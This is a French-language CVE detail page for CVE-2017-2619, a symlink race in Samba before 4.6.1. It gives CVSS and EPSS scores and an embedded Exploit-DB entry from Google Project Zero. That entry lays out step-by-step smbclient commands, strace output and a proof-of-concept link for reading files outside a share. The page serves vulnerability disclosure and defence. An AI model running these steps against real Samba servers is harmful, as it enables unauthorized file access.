CVE-2017-2619 Détail

CVE-2017-2619

Score / Gravité

7.5

Haute

OWSAP

A01-Broken Access Control

EPSS

8.02%V3

Vecteur

Network

Publié

2018-03-12
15h00 +00:00

Modifié

2024-09-17
00h45 +00:00

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CVE.org

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Descriptions du CVE

Samba before versions 4.6.1, 4.5.7 and 4.4.11 are vulnerable to a malicious client using a symlink race to allow access to areas of the server file system not exported under the share definition.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
CWE-59	Improper Link Resolution Before File Access ('Link Following') The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. High successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	6		AV:N/AC:M/Au:S/C:P/I:P/A:P	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41740

Date de publication : 2017-03-26 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039 The Samba server is supposed to only grant access to configured share directories unless "wide links" are enabled, in which case the server is allowed to follow symlinks. The default (since CVE-2010-0926) is that wide links are disabled. smbd ensures that it isn't following symlinks by calling lstat() on every path component, as can be seen in strace (in reaction to the request "get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share): root@debian:/home/user# strace -e trace=file -p18954 Process 18954 attached lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 getcwd("/public", 4096) = 8 lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 getxattr("a/b/c/d/e/f/g/h/i/j", "system.posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available) stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0 open("a/b/c/d/e/f/g/h/i/j", O_RDONLY) = 35 This is racy: Any of the path components - either one of the directories or the file at the end - could be replaced with a symlink by an attacker over a second connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i with a symlink to / immediately before the open() call would cause smbd to open /j. To reproduce: - Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian unstable. I'm running the attacks on a native machine while the server is running in a VM on the same machine.) - On the server, create a world-readable file "/secret" that contains some text. The goal of the attacker is to leak the contents of that file. - On the server, create a directory "/public", mode 0777. - Create a share named "public", accessible for guests, writable, with path "/public". - As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in attack_commands.patch. - Build the patched copy of samba-4.5.2. The built smbclient will be used in the following steps. - Prepare the server's directory layout remotely and start the rename side of the race: $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian] smb: \> posix Server supports CIFS extensions 1.0 Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt smb: /> ls . D 0 Wed Dec 14 23:54:30 2016 .. D 0 Wed Dec 14 13:02:50 2016 98853468 blocks of size 1024. 66181136 blocks available smb: /> symlink / link smb: /> mkdir normal smb: /> put /tmp/empty normal/secret # empty file putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s) smb: /> rename_loop link normal foobar - Over a second connection, launch the read side of the race: $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian] smb: \> posix Server supports CIFS extensions 1.0 Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt smb: /> dump foobar/secret - At this point, the race can theoretically be hit. However, because the renaming client performs operations synchronously, the network latency makes it hard to win the race. (It shouldn't be too hard to adapt the SMB client to be asynchronous, which would make the attack much more practical.) To make it easier to hit the race, log in to the server as root and run "strace" against the process that is trying to access foobar/secret all the time without any filtering ("strace -p19624"). On my machine, this causes the race to be hit every few seconds, and the smbclient that is running the "dump" command prints the contents of the file each time the race is won. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41740.zip